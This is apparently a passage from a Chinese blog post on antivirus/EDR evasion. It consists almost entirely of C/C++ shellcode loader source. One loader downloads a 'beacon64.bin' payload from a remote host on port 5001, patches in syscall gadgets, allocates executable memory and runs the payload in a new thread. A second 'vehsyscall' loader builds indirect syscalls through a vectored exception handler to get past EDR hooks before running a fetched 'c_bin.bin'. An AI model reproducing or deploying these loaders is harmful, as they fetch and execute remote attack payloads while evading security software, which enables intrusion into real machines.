BOOL GetMainModuleInformation(PULONG64 startAddress, PULONG64 length)
{
HANDLE hProcess = GetCurrentProcess(); // 获取当前进程句柄
HMODULE hModule = GetMainModule(hProcess); // 获取主模块句柄
MODULEINFO mi; // MODULEINFO结构体
GetModuleInformation(hProcess, hModule, &mi, sizeof(mi)); // 获取模块信息,存储在mi中
printf("Base Address: 0x%llu\n", (ULONG64)mi.lpBaseOfDll); // 输出模块加载基址
printf("Image Size: %u\n", (ULONG)mi.SizeOfImage); // 输出模块映像大小
printf("Entry Point: 0x%llu\n", (ULONG64)mi.EntryPoint); // 输出模块入口点
printf("\n");
*startAddress = (ULONG64)mi.lpBaseOfDll; // 将加载基址存储在startAddress中
*length = (ULONG64)mi.SizeOfImage; // 将映像大小存储在length中
DWORD oldProtect;
// 将页面属性设置为可执行可读可写
VirtualProtect(mi.lpBaseOfDll, mi.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProtect);
return 0;
}
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
ULONG64 startAddress = 0; // 主模块加载基址
ULONG64 size = 0; // 主模块映像大小
GetMainModuleInformation(&startAddress, &size); // 获取主模块信息,更新startAddress和size
if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}
ULONG64 currentOffset = 0; // 当前偏移
unsigned char* current = (unsigned char*)malloc(8 * sizeof(unsigned char*)); // 分配8字节空间
size_t nBytesRead;
printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
while (currentOffset < size - 8) // 循环搜索, currentOffset 的最大值为 size - 8
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset); // 计算当前搜索地址
if (DEBUG > 0) {
printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory\n");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory\n");
continue;
}
if (DEBUG > 0) { // 调试输出当前读取的8字节
for (int i = 0; i < nBytesRead; i++) {
printf("%02x ", current[i]);
}
printf("\n");
}
if (memcmp(egg, current, 8) == 0) // 如果读取的8字节与egg匹配
{
printf("Found at %llu\n", (ULONG64)currentAddress);
// 替换为replace
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}
}
printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
free(current); // 释放current分配的内存空间
}
unsigned char hexCharToUnsignedChar(char hex) {
if ('0' <= hex && hex <= '9') {
return hex - '0';
}
else if ('a' <= hex && hex <= 'f') {
return hex - 'a' + 10;
}
else if ('A' <= hex && hex <= 'F') {
return hex - 'A' + 10;
}
return 0;
}
// 将两个十六进制字符组成的字符串转换为相应的 unsigned char 数值
unsigned char hexStringToUnsignedChar(const std::string& hexString) {
if (hexString.length() != 2) {
return 0; // 输入错误,返回0
}
return (hexCharToUnsignedChar(hexString[0]) << 4) | hexCharToUnsignedChar(hexString[1]);
}
// 将十六进制字符串转换为相应的 unsigned char 数组
std::string hexStringToUnsignedCharArray(const std::string& hexString) {
size_t length = hexString.length();
if (length % 2 != 0) {
return ""; // 长度不是偶数,无法正确转换,返回空字符串
}
std::string result;
for (size_t i = 0; i < length; i += 2) {
result += hexStringToUnsignedChar(hexString.substr(i, 2));
}
return result;
}
/* length: 892 bytes */
unsigned int calc_len = 924-32;
std::string ByteToHex(unsigned char byte) {
std::ostringstream oss;
oss << std::hex << std::uppercase << std::setw(2) << std::setfill('0') << static_cast<unsigned int>(byte);
return oss.str();
}
std::string BinaryToHex(const std::vector<unsigned char>& binaryData) {
std::ostringstream oss;
for (unsigned char byte : binaryData) {
oss << ByteToHex(byte);
}
return oss.str();
}
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
//printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
//printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
//printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
// printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
// printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
//printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
// printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
//printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
//printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
//printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0) {
break;
//printf("[+] Connection closed\n");
}
else
{
return 1;
//printf("recv failed with error: %d\n", WSAGetLastError());
}
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
int main()
{
char* data = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5001";
char* Resource = "beacon64.bin";
int length = getShellcode_Run(ip, RemotePort, Resource, data);
cout << "size of data =" << sizeof(data) << endl;
cout << "size of file =" << length << endl;
/*for (int i = 0; i < length; i++)
{
printf("\\%x ", data[i]);
}*/
printf("\n");
unsigned char egg[] = { 0x74, 0x0, 0x0, 0x7a, 0x74, 0x0, 0x0, 0x7a }; // egg
unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3
FindAndReplace(egg, replace);
HANDLE hProc = GetCurrentProcess();
DWORD oldprotect = 0;
PVOID base_addr = NULL;
HANDLE thandle = NULL;
NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NTSTATUS ABM = NtWriteVirtualMemory(hProc, base_addr, data, length, 0);
//RtlMoveMemory(base_addr, calc_payload, calc_len);
NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
WaitForSingleObject(thandle, -1);
//free(base_addr);//clean up after ourselve
}
方法四:vehsyscall
参考链接:https://github.com/coleak2021/vehsyscall
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#include<iostream>
#include<string>
#include "peb.h"
#include <map>
using namespace std;
// define var
std::map<int, string> Nt_Table;
DWORD t = 0;
LPVOID m_Index = m_Index = GetProcAddress(GetModuleHandleA("Ntdll.dll"), "NtDrawText");//a safe function address that may not be hooked by edr
// function model
typedef DWORD(WINAPI* pNtCreateThreadEx)(
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID lpStartAddress,
PVOID lpParameter,
ULONG Flags,
SIZE_T StackZeroBits,
SIZE_T SizeOfStackCommit,
SIZE_T SizeOfStackReserve,
PVOID lpBytesBuffer
);
typedef DWORD(WINAPI* NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef DWORD(WINAPI* NtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG Protect,
PDWORD oldProtect
);
//function declare
int GetSSN(std::string apiname);
void savemap();
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len);
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo);
extern "C" extern VOID hello();
//calc shellcode
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
//printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 2000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0) {
break;
printf("[+] Connection closed\n");
}
else
{
return 1;
printf("recv failed with error: %d\n", WSAGetLastError());
}
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
//main function
int main(int argc, char* argv[]) {
savemap();
// register VEH function
AddVectoredExceptionHandler(1, VectExceptionHandler); // first jmp to VectExceptionHandler
//Initialization parameter
HANDLE hProcess = GetCurrentProcess();
HANDLE hThread;
PVOID lpAddress = NULL;
char* rawData = (char*)malloc(2000);
char* ip = "";
char* RemotePort = "5001";
char* Resource = "c_bin.bin";
SIZE_T sDataSize = getShellcode_Run(ip, RemotePort, Resource, rawData);
DWORD ulOldProtect;
//exec NtAllocateVirtualMemory
NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
t = GetSSN("ZwAllocateVirtualMemory");
pNtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
//write your code
VxMoveMemory(lpAddress, rawData, sDataSize);
//exec NtProtectVirtualMemory
NtProtectVirtualMemory pNtProtectVirtualMemory = NULL;
t = GetSSN("ZwProtectVirtualMemory");
NTSTATUS TMP = pNtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
//exec NtCreateThreadEx
pNtCreateThreadEx NtCreateThreadEx = NULL;
t = GetSSN("ZwCreateThreadEx");
NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
//find function order
void savemap()
{
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
int num = 0;
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw", 2) == 0) {
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
}
int GetSSN(std::string apiname)
{
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter)
{
if (apiname == iter->second)
return index;
index++;
}
}
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
char* d = (char*)dest;
const char* s = (char*)src;
while (len--)
*d++ = *s++;
return dest;
}
//VEH function
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
// handle EXCEPTION_ACCESS_VIOLATION
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Construct syscall stub
pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx
hello();
pExceptionInfo->ContextRecord->Rax = t; //mov rax,xxx
hello();
pExceptionInfo->ContextRecord->Rip = (DWORD64)((DWORD64)m_Index + 0x12); // syscall
hello();
return EXCEPTION_CONTINUE_EXECUTION; // cintinue your code
}
return EXCEPTION_CONTINUE_SEARCH; //find othner function to handle VEH
}
标签:recvbuf,iResult,免杀,syscall,char,int,printf,ptr
From: https://www.cnblogs.com/xiaoxin07/p/18118032